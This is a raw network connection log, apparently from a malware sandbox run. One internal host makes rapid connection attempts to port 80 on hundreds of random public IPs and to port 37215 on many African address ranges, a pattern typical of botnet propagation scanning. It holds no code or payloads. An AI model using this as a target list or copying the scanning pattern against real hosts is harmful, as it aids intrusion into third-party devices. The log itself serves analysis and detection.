Dec 28, 2024 20:41:53.039786100 CET	28662	80	192.168.2.23	1.25.59.91
Dec 28, 2024 20:41:53.039791107 CET	28662	80	192.168.2.23	40.220.223.178
Dec 28, 2024 20:41:53.039800882 CET	28662	80	192.168.2.23	161.157.70.228
Dec 28, 2024 20:41:53.039807081 CET	28662	80	192.168.2.23	222.44.135.18
Dec 28, 2024 20:41:53.039807081 CET	28662	80	192.168.2.23	198.153.133.124
Dec 28, 2024 20:41:53.039808035 CET	28662	80	192.168.2.23	223.97.187.12
Dec 28, 2024 20:41:53.039810896 CET	28662	80	192.168.2.23	220.38.44.35
Dec 28, 2024 20:41:53.039813042 CET	28662	80	192.168.2.23	36.88.240.217
Dec 28, 2024 20:41:53.039814949 CET	28662	80	192.168.2.23	68.66.10.172
Dec 28, 2024 20:41:53.039822102 CET	28662	80	192.168.2.23	146.184.166.42
Dec 28, 2024 20:41:53.039824009 CET	28662	80	192.168.2.23	138.126.82.165
Dec 28, 2024 20:41:53.039830923 CET	28662	80	192.168.2.23	183.117.191.221
Dec 28, 2024 20:41:53.039830923 CET	28662	80	192.168.2.23	98.87.198.111
Dec 28, 2024 20:41:53.039838076 CET	28662	80	192.168.2.23	207.96.131.115
Dec 28, 2024 20:41:53.039840937 CET	28662	80	192.168.2.23	68.72.31.162
Dec 28, 2024 20:41:53.039840937 CET	28662	80	192.168.2.23	213.105.203.175
Dec 28, 2024 20:41:53.039840937 CET	28662	80	192.168.2.23	206.126.189.222
Dec 28, 2024 20:41:53.039845943 CET	28662	80	192.168.2.23	133.204.61.64
Dec 28, 2024 20:41:53.039865017 CET	28662	80	192.168.2.23	71.162.181.165
Dec 28, 2024 20:41:53.039866924 CET	28662	80	192.168.2.23	41.162.199.60
Dec 28, 2024 20:41:53.039866924 CET	28662	80	192.168.2.23	115.75.66.205
Dec 28, 2024 20:41:53.039866924 CET	28662	80	192.168.2.23	111.42.197.185
Dec 28, 2024 20:41:53.039877892 CET	28662	80	192.168.2.23	152.33.23.252
Dec 28, 2024 20:41:53.039877892 CET	28662	80	192.168.2.23	83.146.227.135
Dec 28, 2024 20:41:53.039884090 CET	28662	80	192.168.2.23	170.148.120.187
Dec 28, 2024 20:41:53.039885998 CET	28662	80	192.168.2.23	105.9.141.208
Dec 28, 2024 20:41:53.039896965 CET	28662	80	192.168.2.23	60.128.47.223
Dec 28, 2024 20:41:53.039896965 CET	28662	80	192.168.2.23	218.40.117.204
Dec 28, 2024 20:41:53.039901972 CET	28662	80	192.168.2.23	150.193.9.215
Dec 28, 2024 20:41:53.039904118 CET	28662	80	192.168.2.23	134.22.114.205
Dec 28, 2024 20:41:53.039906025 CET	28662	80	192.168.2.23	36.55.28.30
Dec 28, 2024 20:41:53.039906025 CET	28662	80	192.168.2.23	216.244.154.177
Dec 28, 2024 20:41:53.039910078 CET	28662	80	192.168.2.23	104.70.122.135
Dec 28, 2024 20:41:53.039915085 CET	28662	80	192.168.2.23	76.34.134.213
Dec 28, 2024 20:41:53.039917946 CET	28662	80	192.168.2.23	103.199.192.148
Dec 28, 2024 20:41:53.039917946 CET	28662	80	192.168.2.23	195.110.28.253
Dec 28, 2024 20:41:53.039931059 CET	28662	80	192.168.2.23	212.216.206.159
Dec 28, 2024 20:41:53.039932966 CET	28662	80	192.168.2.23	173.106.135.88
Dec 28, 2024 20:41:53.039936066 CET	28662	80	192.168.2.23	139.178.52.230
Dec 28, 2024 20:41:53.039941072 CET	28662	80	192.168.2.23	177.55.18.166
Dec 28, 2024 20:41:53.039943933 CET	28662	80	192.168.2.23	122.152.160.18
Dec 28, 2024 20:41:53.039943933 CET	28662	80	192.168.2.23	93.17.3.4
Dec 28, 2024 20:41:53.039943933 CET	28662	80	192.168.2.23	217.110.172.75
Dec 28, 2024 20:41:53.039947987 CET	28662	80	192.168.2.23	187.174.80.165
Dec 28, 2024 20:41:53.039956093 CET	28662	80	192.168.2.23	121.211.154.82
Dec 28, 2024 20:41:53.039957047 CET	28662	80	192.168.2.23	66.93.239.210
Dec 28, 2024 20:41:53.039957047 CET	28662	80	192.168.2.23	151.207.116.190
Dec 28, 2024 20:41:53.039958000 CET	28662	80	192.168.2.23	139.73.29.130
Dec 28, 2024 20:41:53.039966106 CET	28662	80	192.168.2.23	66.28.194.94
Dec 28, 2024 20:41:53.039967060 CET	28662	80	192.168.2.23	105.186.212.91
Dec 28, 2024 20:41:53.039968967 CET	28662	80	192.168.2.23	129.215.159.244
Dec 28, 2024 20:41:53.039983988 CET	28662	80	192.168.2.23	184.170.28.65
Dec 28, 2024 20:41:53.039993048 CET	28662	80	192.168.2.23	69.172.197.248
Dec 28, 2024 20:41:53.039993048 CET	28662	80	192.168.2.23	67.60.156.8
Dec 28, 2024 20:41:53.039994955 CET	28662	80	192.168.2.23	136.102.254.57
Dec 28, 2024 20:41:53.039994955 CET	28662	80	192.168.2.23	135.55.123.118
Dec 28, 2024 20:41:53.039997101 CET	28662	80	192.168.2.23	170.2.254.202
Dec 28, 2024 20:41:53.040004015 CET	28662	80	192.168.2.23	134.143.122.176
Dec 28, 2024 20:41:53.040008068 CET	28662	80	192.168.2.23	111.76.142.132
Dec 28, 2024 20:41:53.040008068 CET	28662	80	192.168.2.23	186.67.155.172
Dec 28, 2024 20:41:53.040011883 CET	28662	80	192.168.2.23	119.226.63.197
Dec 28, 2024 20:41:53.040011883 CET	28662	80	192.168.2.23	54.4.89.201
Dec 28, 2024 20:41:53.040014982 CET	28662	80	192.168.2.23	208.88.158.117
Dec 28, 2024 20:41:53.040014982 CET	28662	80	192.168.2.23	114.85.215.116
Dec 28, 2024 20:41:53.040018082 CET	28662	80	192.168.2.23	60.131.173.92
Dec 28, 2024 20:41:53.040026903 CET	28662	80	192.168.2.23	83.145.10.147
Dec 28, 2024 20:41:53.040040016 CET	28662	80	192.168.2.23	212.180.12.179
Dec 28, 2024 20:41:53.040040970 CET	28662	80	192.168.2.23	205.255.126.94
Dec 28, 2024 20:41:53.040041924 CET	28662	80	192.168.2.23	4.92.161.64
Dec 28, 2024 20:41:53.040054083 CET	28662	80	192.168.2.23	8.1.56.228
Dec 28, 2024 20:41:53.040056944 CET	28662	80	192.168.2.23	40.226.144.115
Dec 28, 2024 20:41:53.040057898 CET	28662	80	192.168.2.23	190.156.252.165
Dec 28, 2024 20:41:53.040060997 CET	28662	80	192.168.2.23	117.167.183.218
Dec 28, 2024 20:41:53.040066957 CET	28662	80	192.168.2.23	37.40.62.57
Dec 28, 2024 20:41:53.040070057 CET	28662	80	192.168.2.23	116.15.17.39
Dec 28, 2024 20:41:53.040085077 CET	28662	80	192.168.2.23	98.177.177.133
Dec 28, 2024 20:41:53.040087938 CET	28662	80	192.168.2.23	46.137.36.190
Dec 28, 2024 20:41:53.040087938 CET	28662	80	192.168.2.23	174.113.92.72
Dec 28, 2024 20:41:53.040091038 CET	28662	80	192.168.2.23	138.113.136.127
Dec 28, 2024 20:41:53.040091991 CET	28662	80	192.168.2.23	24.11.229.181
Dec 28, 2024 20:41:53.040108919 CET	28662	80	192.168.2.23	188.190.112.0
Dec 28, 2024 20:41:53.040108919 CET	28662	80	192.168.2.23	198.150.116.54
Dec 28, 2024 20:41:53.040108919 CET	28662	80	192.168.2.23	44.199.61.95
Dec 28, 2024 20:41:53.040115118 CET	28662	80	192.168.2.23	99.129.247.198
Dec 28, 2024 20:41:53.040115118 CET	28662	80	192.168.2.23	172.146.69.133
Dec 28, 2024 20:41:53.040118933 CET	28662	80	192.168.2.23	202.90.136.205
Dec 28, 2024 20:41:53.040118933 CET	28662	80	192.168.2.23	20.13.92.139
Dec 28, 2024 20:41:53.040118933 CET	28662	80	192.168.2.23	88.149.16.235
Dec 28, 2024 20:41:53.040118933 CET	28662	80	192.168.2.23	125.10.158.242
Dec 28, 2024 20:41:53.040118933 CET	28662	80	192.168.2.23	218.140.31.238
Dec 28, 2024 20:41:53.040118933 CET	28662	80	192.168.2.23	60.71.125.240
Dec 28, 2024 20:41:53.040138006 CET	28662	80	192.168.2.23	179.171.232.187
Dec 28, 2024 20:41:53.040144920 CET	28662	80	192.168.2.23	34.190.26.123
Dec 28, 2024 20:41:53.040144920 CET	28662	80	192.168.2.23	69.10.207.236
Dec 28, 2024 20:41:53.040144920 CET	28662	80	192.168.2.23	99.128.199.55
Dec 28, 2024 20:41:53.040152073 CET	28662	80	192.168.2.23	176.27.144.254
Dec 28, 2024 20:41:53.040152073 CET	28662	80	192.168.2.23	99.80.214.11
Dec 28, 2024 20:41:53.040159941 CET	28662	80	192.168.2.23	93.173.14.201
Dec 28, 2024 20:41:53.040159941 CET	28662	80	192.168.2.23	183.251.49.44
Dec 28, 2024 20:41:53.040159941 CET	28662	80	192.168.2.23	76.119.146.82
Dec 28, 2024 20:41:53.040162086 CET	28662	80	192.168.2.23	59.96.13.91
Dec 28, 2024 20:41:53.040162086 CET	28662	80	192.168.2.23	67.211.38.16
Dec 28, 2024 20:41:53.040169954 CET	28662	80	192.168.2.23	62.121.130.24
Dec 28, 2024 20:41:53.040170908 CET	28662	80	192.168.2.23	195.209.152.235
Dec 28, 2024 20:41:53.040172100 CET	28662	80	192.168.2.23	63.201.41.144
Dec 28, 2024 20:41:53.040174961 CET	28662	80	192.168.2.23	222.135.54.223
Dec 28, 2024 20:41:53.040174961 CET	28662	80	192.168.2.23	203.133.3.101
Dec 28, 2024 20:41:53.040175915 CET	28662	80	192.168.2.23	59.190.98.104
Dec 28, 2024 20:41:53.040175915 CET	28662	80	192.168.2.23	151.110.178.151
Dec 28, 2024 20:41:53.040188074 CET	28662	80	192.168.2.23	149.147.27.157
Dec 28, 2024 20:41:53.040188074 CET	28662	80	192.168.2.23	136.1.75.231
Dec 28, 2024 20:41:53.040188074 CET	28662	80	192.168.2.23	14.159.51.174
Dec 28, 2024 20:41:53.040194035 CET	28662	80	192.168.2.23	78.137.17.148
Dec 28, 2024 20:41:53.040201902 CET	28662	80	192.168.2.23	108.154.239.128
Dec 28, 2024 20:41:53.040203094 CET	28662	80	192.168.2.23	116.249.58.243
Dec 28, 2024 20:41:53.040204048 CET	28662	80	192.168.2.23	179.14.144.46
Dec 28, 2024 20:41:53.040210009 CET	28662	80	192.168.2.23	44.228.102.32
Dec 28, 2024 20:41:53.040221930 CET	28662	80	192.168.2.23	35.255.113.169
Dec 28, 2024 20:41:53.040221930 CET	28662	80	192.168.2.23	31.185.9.137
Dec 28, 2024 20:41:53.040222883 CET	28662	80	192.168.2.23	207.21.41.124
Dec 28, 2024 20:41:53.040225983 CET	28662	80	192.168.2.23	204.4.107.237
Dec 28, 2024 20:41:53.040225983 CET	28662	80	192.168.2.23	177.70.180.184
Dec 28, 2024 20:41:53.040244102 CET	28662	80	192.168.2.23	192.196.86.79
Dec 28, 2024 20:41:53.040244102 CET	28662	80	192.168.2.23	120.126.114.80
Dec 28, 2024 20:41:53.040244102 CET	28662	80	192.168.2.23	168.254.116.157
Dec 28, 2024 20:41:53.040244102 CET	28662	80	192.168.2.23	23.96.75.39
Dec 28, 2024 20:41:53.040250063 CET	28662	80	192.168.2.23	146.82.151.143
Dec 28, 2024 20:41:53.040252924 CET	28662	80	192.168.2.23	110.247.92.164
Dec 28, 2024 20:41:53.040255070 CET	28662	80	192.168.2.23	175.149.133.176
Dec 28, 2024 20:41:53.040256023 CET	28662	80	192.168.2.23	154.233.179.251
Dec 28, 2024 20:41:53.040256023 CET	28662	80	192.168.2.23	139.144.102.217
Dec 28, 2024 20:41:53.040256023 CET	28662	80	192.168.2.23	188.46.144.175
Dec 28, 2024 20:41:53.040273905 CET	28662	80	192.168.2.23	60.47.207.132
Dec 28, 2024 20:41:53.040278912 CET	28662	80	192.168.2.23	89.84.85.16
Dec 28, 2024 20:41:53.040280104 CET	28662	80	192.168.2.23	116.246.108.152
Dec 28, 2024 20:41:53.040286064 CET	28662	80	192.168.2.23	54.73.67.239
Dec 28, 2024 20:41:53.040287018 CET	28662	80	192.168.2.23	128.197.155.20
Dec 28, 2024 20:41:53.040286064 CET	28662	80	192.168.2.23	198.11.208.146
Dec 28, 2024 20:41:53.040287018 CET	28662	80	192.168.2.23	98.115.88.190
Dec 28, 2024 20:41:53.040287018 CET	28662	80	192.168.2.23	220.245.251.73
Dec 28, 2024 20:41:53.040287018 CET	28662	80	192.168.2.23	133.209.24.103
Dec 28, 2024 20:41:53.040299892 CET	28662	80	192.168.2.23	87.180.110.239
Dec 28, 2024 20:41:53.040313005 CET	28662	80	192.168.2.23	9.15.214.152
Dec 28, 2024 20:41:53.040313005 CET	28662	80	192.168.2.23	133.239.116.200
Dec 28, 2024 20:41:53.040313959 CET	28662	80	192.168.2.23	128.219.172.24
Dec 28, 2024 20:41:53.040317059 CET	28662	80	192.168.2.23	209.175.170.88
Dec 28, 2024 20:41:53.040317059 CET	28662	80	192.168.2.23	101.229.70.1
Dec 28, 2024 20:41:53.040318966 CET	28662	80	192.168.2.23	114.225.217.157
Dec 28, 2024 20:41:53.040318966 CET	28662	80	192.168.2.23	209.88.153.75
Dec 28, 2024 20:41:53.040327072 CET	28662	80	192.168.2.23	185.68.150.189
Dec 28, 2024 20:41:53.040327072 CET	28662	80	192.168.2.23	196.145.20.104
Dec 28, 2024 20:41:53.040337086 CET	28662	80	192.168.2.23	179.156.161.109
Dec 28, 2024 20:41:53.040337086 CET	28662	80	192.168.2.23	199.81.14.74
Dec 28, 2024 20:41:53.040340900 CET	28662	80	192.168.2.23	206.204.251.29
Dec 28, 2024 20:41:53.040347099 CET	28662	80	192.168.2.23	96.173.90.241
Dec 28, 2024 20:41:53.040347099 CET	28662	80	192.168.2.23	211.214.183.164
Dec 28, 2024 20:41:53.040354967 CET	28662	80	192.168.2.23	51.14.191.48
Dec 28, 2024 20:41:53.040361881 CET	28662	80	192.168.2.23	157.205.120.99
Dec 28, 2024 20:41:53.040361881 CET	28662	80	192.168.2.23	150.124.23.235
Dec 28, 2024 20:41:53.040364981 CET	28662	80	192.168.2.23	187.223.206.193
Dec 28, 2024 20:41:53.040370941 CET	28662	80	192.168.2.23	174.13.205.215
Dec 28, 2024 20:41:53.040370941 CET	28662	80	192.168.2.23	18.248.166.171
Dec 28, 2024 20:41:53.040370941 CET	28662	80	192.168.2.23	148.87.227.36
Dec 28, 2024 20:41:53.040374041 CET	28662	80	192.168.2.23	111.92.97.226
Dec 28, 2024 20:41:53.040389061 CET	28662	80	192.168.2.23	78.78.104.17
Dec 28, 2024 20:41:53.040395975 CET	28662	80	192.168.2.23	165.160.21.93
Dec 28, 2024 20:41:53.040399075 CET	28662	80	192.168.2.23	13.85.184.201
Dec 28, 2024 20:41:53.040399075 CET	28662	80	192.168.2.23	167.36.78.61
Dec 28, 2024 20:41:53.040400028 CET	28662	80	192.168.2.23	8.244.155.35
Dec 28, 2024 20:41:53.040406942 CET	28662	80	192.168.2.23	175.192.30.219
Dec 28, 2024 20:41:53.040410995 CET	28662	80	192.168.2.23	20.62.145.92
Dec 28, 2024 20:41:53.040417910 CET	28662	80	192.168.2.23	130.183.28.249
Dec 28, 2024 20:41:53.040425062 CET	28662	80	192.168.2.23	123.52.225.142
Dec 28, 2024 20:41:53.040426970 CET	28662	80	192.168.2.23	202.230.9.97
Dec 28, 2024 20:41:53.040431023 CET	28662	80	192.168.2.23	2.141.31.19
Dec 28, 2024 20:41:53.040431023 CET	28662	80	192.168.2.23	49.14.148.69
Dec 28, 2024 20:41:53.040446997 CET	28662	80	192.168.2.23	19.8.226.185
Dec 28, 2024 20:41:53.040446997 CET	28662	80	192.168.2.23	129.107.69.217
Dec 28, 2024 20:41:53.040450096 CET	28662	80	192.168.2.23	44.57.181.207
Dec 28, 2024 20:41:53.040450096 CET	28662	80	192.168.2.23	82.239.12.117
Dec 28, 2024 20:41:53.040451050 CET	28662	80	192.168.2.23	84.73.251.231
Dec 28, 2024 20:41:53.040452003 CET	28662	80	192.168.2.23	23.34.148.63
Dec 28, 2024 20:41:53.040461063 CET	28662	80	192.168.2.23	130.182.131.195
Dec 28, 2024 20:41:53.040461063 CET	28662	80	192.168.2.23	39.124.111.86
Dec 28, 2024 20:41:53.040462971 CET	28662	80	192.168.2.23	152.1.134.214
Dec 28, 2024 20:41:53.040462971 CET	28662	80	192.168.2.23	223.187.172.253
Dec 28, 2024 20:41:53.040462971 CET	28662	80	192.168.2.23	219.145.190.46
Dec 28, 2024 20:41:53.040462971 CET	28662	80	192.168.2.23	117.234.128.29
Dec 28, 2024 20:41:53.040479898 CET	28662	80	192.168.2.23	39.235.226.255
Dec 28, 2024 20:41:53.040487051 CET	28662	80	192.168.2.23	27.1.192.90
Dec 28, 2024 20:41:53.040488005 CET	28662	80	192.168.2.23	37.207.202.127
Dec 28, 2024 20:41:53.040488958 CET	28662	80	192.168.2.23	19.203.48.41
Dec 28, 2024 20:41:53.040488958 CET	28662	80	192.168.2.23	175.217.229.101
Dec 28, 2024 20:41:53.040488958 CET	28662	80	192.168.2.23	146.94.16.8
Dec 28, 2024 20:41:53.040493965 CET	28662	80	192.168.2.23	200.37.64.246
Dec 28, 2024 20:41:53.040493965 CET	28662	80	192.168.2.23	64.182.61.149
Dec 28, 2024 20:41:53.040493965 CET	28662	80	192.168.2.23	48.144.81.158
Dec 28, 2024 20:41:53.040497065 CET	28662	80	192.168.2.23	59.71.49.239
Dec 28, 2024 20:41:53.040498972 CET	28662	80	192.168.2.23	2.52.5.18
Dec 28, 2024 20:41:53.040508986 CET	28662	80	192.168.2.23	46.142.110.16
Dec 28, 2024 20:41:53.040518045 CET	28662	80	192.168.2.23	162.203.5.64
Dec 28, 2024 20:41:53.040518999 CET	28662	80	192.168.2.23	223.38.118.143
Dec 28, 2024 20:41:53.040522099 CET	28662	80	192.168.2.23	47.143.10.195
Dec 28, 2024 20:41:53.040522099 CET	28662	80	192.168.2.23	96.82.213.240
Dec 28, 2024 20:41:53.040522099 CET	28662	80	192.168.2.23	62.188.96.117
Dec 28, 2024 20:41:53.040529966 CET	28662	80	192.168.2.23	124.116.12.16
Dec 28, 2024 20:41:53.040529966 CET	28662	80	192.168.2.23	23.14.242.118
Dec 28, 2024 20:41:53.040532112 CET	28662	80	192.168.2.23	137.171.133.164
Dec 28, 2024 20:41:53.040533066 CET	28662	80	192.168.2.23	212.188.53.110
Dec 28, 2024 20:41:53.040534019 CET	28662	80	192.168.2.23	111.178.183.58
Dec 28, 2024 20:41:53.040539980 CET	28662	80	192.168.2.23	118.134.165.50
Dec 28, 2024 20:41:53.040548086 CET	28662	80	192.168.2.23	181.100.127.245
Dec 28, 2024 20:41:53.040555954 CET	28662	80	192.168.2.23	144.18.199.241
Dec 28, 2024 20:41:53.040555954 CET	28662	80	192.168.2.23	69.222.224.167
Dec 28, 2024 20:41:53.040556908 CET	28662	80	192.168.2.23	150.29.109.186
Dec 28, 2024 20:41:53.040561914 CET	28662	80	192.168.2.23	119.97.135.14
Dec 28, 2024 20:41:53.040561914 CET	28662	80	192.168.2.23	9.50.57.41
Dec 28, 2024 20:41:53.040574074 CET	28662	80	192.168.2.23	83.197.68.246
Dec 28, 2024 20:41:53.047909021 CET	28660	37215	192.168.2.23	156.236.7.38
Dec 28, 2024 20:41:53.047909975 CET	28660	37215	192.168.2.23	156.72.246.36
Dec 28, 2024 20:41:53.047919035 CET	28660	37215	192.168.2.23	197.40.113.161
Dec 28, 2024 20:41:53.047935963 CET	28660	37215	192.168.2.23	197.65.120.152
Dec 28, 2024 20:41:53.047935963 CET	28660	37215	192.168.2.23	41.113.96.70
Dec 28, 2024 20:41:53.047935963 CET	28660	37215	192.168.2.23	41.206.176.175
Dec 28, 2024 20:41:53.047938108 CET	28660	37215	192.168.2.23	156.4.71.169
Dec 28, 2024 20:41:53.047939062 CET	28660	37215	192.168.2.23	197.123.45.255
Dec 28, 2024 20:41:53.047945023 CET	28660	37215	192.168.2.23	156.141.135.43
Dec 28, 2024 20:41:53.047957897 CET	28660	37215	192.168.2.23	197.34.226.53
Dec 28, 2024 20:41:53.047976017 CET	28660	37215	192.168.2.23	41.53.141.188
Dec 28, 2024 20:41:53.047976017 CET	28660	37215	192.168.2.23	197.169.54.117
Dec 28, 2024 20:41:53.047976017 CET	28660	37215	192.168.2.23	41.127.189.90
Dec 28, 2024 20:41:53.047981024 CET	28660	37215	192.168.2.23	197.3.25.62
Dec 28, 2024 20:41:53.047986031 CET	28660	37215	192.168.2.23	156.169.246.127
Dec 28, 2024 20:41:53.047986031 CET	28660	37215	192.168.2.23	41.1.115.20
Dec 28, 2024 20:41:53.047990084 CET	28660	37215	192.168.2.23	197.87.148.20
Dec 28, 2024 20:41:53.047990084 CET	28660	37215	192.168.2.23	156.5.246.77
Dec 28, 2024 20:41:53.047990084 CET	28660	37215	192.168.2.23	41.116.192.18
Dec 28, 2024 20:41:53.047995090 CET	28660	37215	192.168.2.23	197.137.206.55
Dec 28, 2024 20:41:53.047997952 CET	28660	37215	192.168.2.23	156.127.203.18
Dec 28, 2024 20:41:53.048022985 CET	28660	37215	192.168.2.23	41.12.86.255
Dec 28, 2024 20:41:53.048026085 CET	28660	37215	192.168.2.23	197.106.203.200
Dec 28, 2024 20:41:53.048026085 CET	28660	37215	192.168.2.23	197.88.46.23
Dec 28, 2024 20:41:53.048029900 CET	28660	37215	192.168.2.23	41.17.248.104
Dec 28, 2024 20:41:53.048029900 CET	28660	37215	192.168.2.23	41.159.235.178
Dec 28, 2024 20:41:53.048029900 CET	28660	37215	192.168.2.23	197.169.106.218
Dec 28, 2024 20:41:53.048029900 CET	28660	37215	192.168.2.23	156.167.102.205
Dec 28, 2024 20:41:53.048033953 CET	28660	37215	192.168.2.23	197.202.201.252
Dec 28, 2024 20:41:53.048052073 CET	28660	37215	192.168.2.23	156.42.55.74
Dec 28, 2024 20:41:53.048054934 CET	28660	37215	192.168.2.23	197.40.151.143
Dec 28, 2024 20:41:53.048054934 CET	28660	37215	192.168.2.23	41.208.225.123
Dec 28, 2024 20:41:53.048055887 CET	28660	37215	192.168.2.23	197.228.164.183
Dec 28, 2024 20:41:53.048059940 CET	28660	37215	192.168.2.23	197.50.74.153
Dec 28, 2024 20:41:53.048060894 CET	28660	37215	192.168.2.23	41.3.50.35
Dec 28, 2024 20:41:53.048060894 CET	28660	37215	192.168.2.23	197.225.73.49
Dec 28, 2024 20:41:53.048075914 CET	28660	37215	192.168.2.23	41.189.1.76
Dec 28, 2024 20:41:53.048080921 CET	28660	37215	192.168.2.23	197.220.224.47
Dec 28, 2024 20:41:53.048080921 CET	28660	37215	192.168.2.23	41.81.211.172
Dec 28, 2024 20:41:53.048085928 CET	28660	37215	192.168.2.23	41.117.132.48
Dec 28, 2024 20:41:53.048089027 CET	28660	37215	192.168.2.23	156.94.56.210
Dec 28, 2024 20:41:53.048089027 CET	28660	37215	192.168.2.23	197.159.192.196
Dec 28, 2024 20:41:53.048091888 CET	28660	37215	192.168.2.23	197.58.206.169
Dec 28, 2024 20:41:53.048091888 CET	28660	37215	192.168.2.23	156.71.192.235
Dec 28, 2024 20:41:53.048095942 CET	28660	37215	192.168.2.23	197.203.170.43
Dec 28, 2024 20:41:53.048099995 CET	28660	37215	192.168.2.23	41.156.32.85
Dec 28, 2024 20:41:53.048109055 CET	28660	37215	192.168.2.23	41.60.145.205
Dec 28, 2024 20:41:53.048109055 CET	28660	37215	192.168.2.23	156.114.151.132
Dec 28, 2024 20:41:53.048113108 CET	28660	37215	192.168.2.23	41.158.80.118
Dec 28, 2024 20:41:53.048122883 CET	28660	37215	192.168.2.23	41.28.162.137
Dec 28, 2024 20:41:53.048122883 CET	28660	37215	192.168.2.23	41.246.156.34
Dec 28, 2024 20:41:53.048125982 CET	28660	37215	192.168.2.23	197.201.80.190
Dec 28, 2024 20:41:53.048126936 CET	28660	37215	192.168.2.23	197.167.197.205
Dec 28, 2024 20:41:53.048126936 CET	28660	37215	192.168.2.23	156.139.226.125
Dec 28, 2024 20:41:53.048140049 CET	28660	37215	192.168.2.23	197.42.236.217
Dec 28, 2024 20:41:53.048140049 CET	28660	37215	192.168.2.23	197.255.89.113
Dec 28, 2024 20:41:53.048146009 CET	28660	37215	192.168.2.23	41.104.204.104
Dec 28, 2024 20:41:53.048146009 CET	28660	37215	192.168.2.23	41.160.44.195
Dec 28, 2024 20:41:53.048152924 CET	28660	37215	192.168.2.23	41.177.66.18
Dec 28, 2024 20:41:53.048161030 CET	28660	37215	192.168.2.23	156.130.211.117
Dec 28, 2024 20:41:53.048166037 CET	28660	37215	192.168.2.23	156.180.127.90
Dec 28, 2024 20:41:53.048177004 CET	28660	37215	192.168.2.23	41.106.121.114
Dec 28, 2024 20:41:53.048177958 CET	28660	37215	192.168.2.23	156.2.48.98
Dec 28, 2024 20:41:53.048186064 CET	28660	37215	192.168.2.23	156.26.152.205
Dec 28, 2024 20:41:53.048186064 CET	28660	37215	192.168.2.23	41.231.172.104
Dec 28, 2024 20:41:53.048187971 CET	28660	37215	192.168.2.23	156.166.216.169
Dec 28, 2024 20:41:53.048190117 CET	28660	37215	192.168.2.23	156.111.28.183
Dec 28, 2024 20:41:53.048190117 CET	28660	37215	192.168.2.23	197.60.57.150
Dec 28, 2024 20:41:53.048190117 CET	28660	37215	192.168.2.23	41.148.55.232
Dec 28, 2024 20:41:53.048204899 CET	28660	37215	192.168.2.23	41.207.62.19
Dec 28, 2024 20:41:53.048207045 CET	28660	37215	192.168.2.23	197.131.186.93
Dec 28, 2024 20:41:53.048213005 CET	28660	37215	192.168.2.23	197.166.181.233
Dec 28, 2024 20:41:53.048217058 CET	28660	37215	192.168.2.23	41.166.104.209
Dec 28, 2024 20:41:53.048217058 CET	28660	37215	192.168.2.23	156.81.31.132
Dec 28, 2024 20:41:53.048222065 CET	28660	37215	192.168.2.23	156.43.111.224
Dec 28, 2024 20:41:53.048222065 CET	28660	37215	192.168.2.23	197.156.112.195
Dec 28, 2024 20:41:53.048223972 CET	28660	37215	192.168.2.23	41.8.133.234
Dec 28, 2024 20:41:53.048223972 CET	28660	37215	192.168.2.23	41.171.8.121
Dec 28, 2024 20:41:53.048224926 CET	28660	37215	192.168.2.23	41.241.35.168
Dec 28, 2024 20:41:53.048224926 CET	28660	37215	192.168.2.23	41.143.187.203
Dec 28, 2024 20:41:53.048244953 CET	28660	37215	192.168.2.23	156.124.156.114
Dec 28, 2024 20:41:53.048249006 CET	28660	37215	192.168.2.23	156.44.116.128
Dec 28, 2024 20:41:53.048249006 CET	28660	37215	192.168.2.23	197.105.87.163
Dec 28, 2024 20:41:53.048254013 CET	28660	37215	192.168.2.23	41.242.69.236
Dec 28, 2024 20:41:53.048254013 CET	28660	37215	192.168.2.23	197.116.221.151
Dec 28, 2024 20:41:53.048260927 CET	28660	37215	192.168.2.23	41.175.169.1
Dec 28, 2024 20:41:53.048274994 CET	28660	37215	192.168.2.23	41.229.180.39
Dec 28, 2024 20:41:53.048274994 CET	28660	37215	192.168.2.23	197.252.51.209
Dec 28, 2024 20:41:53.048274994 CET	28660	37215	192.168.2.23	197.30.239.214
Dec 28, 2024 20:41:53.048284054 CET	28660	37215	192.168.2.23	41.162.235.166
Dec 28, 2024 20:41:53.048295021 CET	28660	37215	192.168.2.23	41.245.183.0
Dec 28, 2024 20:41:53.048295021 CET	28660	37215	192.168.2.23	41.63.210.143
Dec 28, 2024 20:41:53.048297882 CET	28660	37215	192.168.2.23	156.254.163.136
Dec 28, 2024 20:41:53.048302889 CET	28660	37215	192.168.2.23	156.237.99.80
Dec 28, 2024 20:41:53.048316002 CET	28660	37215	192.168.2.23	156.69.27.193
Dec 28, 2024 20:41:53.048319101 CET	28660	37215	192.168.2.23	156.47.246.108
Dec 28, 2024 20:41:53.048319101 CET	28660	37215	192.168.2.23	156.48.164.161
Dec 28, 2024 20:41:53.048322916 CET	28660	37215	192.168.2.23	197.105.121.255
Dec 28, 2024 20:41:53.048324108 CET	28660	37215	192.168.2.23	41.117.167.206
Dec 28, 2024 20:41:53.048331976 CET	28660	37215	192.168.2.23	156.251.91.205
Dec 28, 2024 20:41:53.048331976 CET	28660	37215	192.168.2.23	197.34.218.232
Dec 28, 2024 20:41:53.048338890 CET	28660	37215	192.168.2.23	41.36.65.166
Dec 28, 2024 20:41:53.048348904 CET	28660	37215	192.168.2.23	41.231.173.94
Dec 28, 2024 20:41:53.048348904 CET	28660	37215	192.168.2.23	41.62.215.55
Dec 28, 2024 20:41:53.048350096 CET	28660	37215	192.168.2.23	41.191.209.12
Dec 28, 2024 20:41:53.048357964 CET	28660	37215	192.168.2.23	197.245.2.148
Dec 28, 2024 20:41:53.048360109 CET	28660	37215	192.168.2.23	197.154.52.94
Dec 28, 2024 20:41:53.048360109 CET	28660	37215	192.168.2.23	41.38.225.248
Dec 28, 2024 20:41:53.048361063 CET	28660	37215	192.168.2.23	41.205.28.151
Dec 28, 2024 20:41:53.048362017 CET	28660	37215	192.168.2.23	156.249.83.131
Dec 28, 2024 20:41:53.048362970 CET	28660	37215	192.168.2.23	41.8.234.72
Dec 28, 2024 20:41:53.048381090 CET	28660	37215	192.168.2.23	41.51.35.117
Dec 28, 2024 20:41:53.048382998 CET	28660	37215	192.168.2.23	197.48.21.89
Dec 28, 2024 20:41:53.048384905 CET	28660	37215	192.168.2.23	156.201.16.89
Dec 28, 2024 20:41:53.048384905 CET	28660	37215	192.168.2.23	156.153.172.29
Dec 28, 2024 20:41:53.048396111 CET	28660	37215	192.168.2.23	41.34.154.247
Dec 28, 2024 20:41:53.048401117 CET	28660	37215	192.168.2.23	41.28.119.226
Dec 28, 2024 20:41:53.048401117 CET	28660	37215	192.168.2.23	156.67.207.23
Dec 28, 2024 20:41:53.048404932 CET	28660	37215	192.168.2.23	197.192.45.240
Dec 28, 2024 20:41:53.048418999 CET	28660	37215	192.168.2.23	197.249.116.45
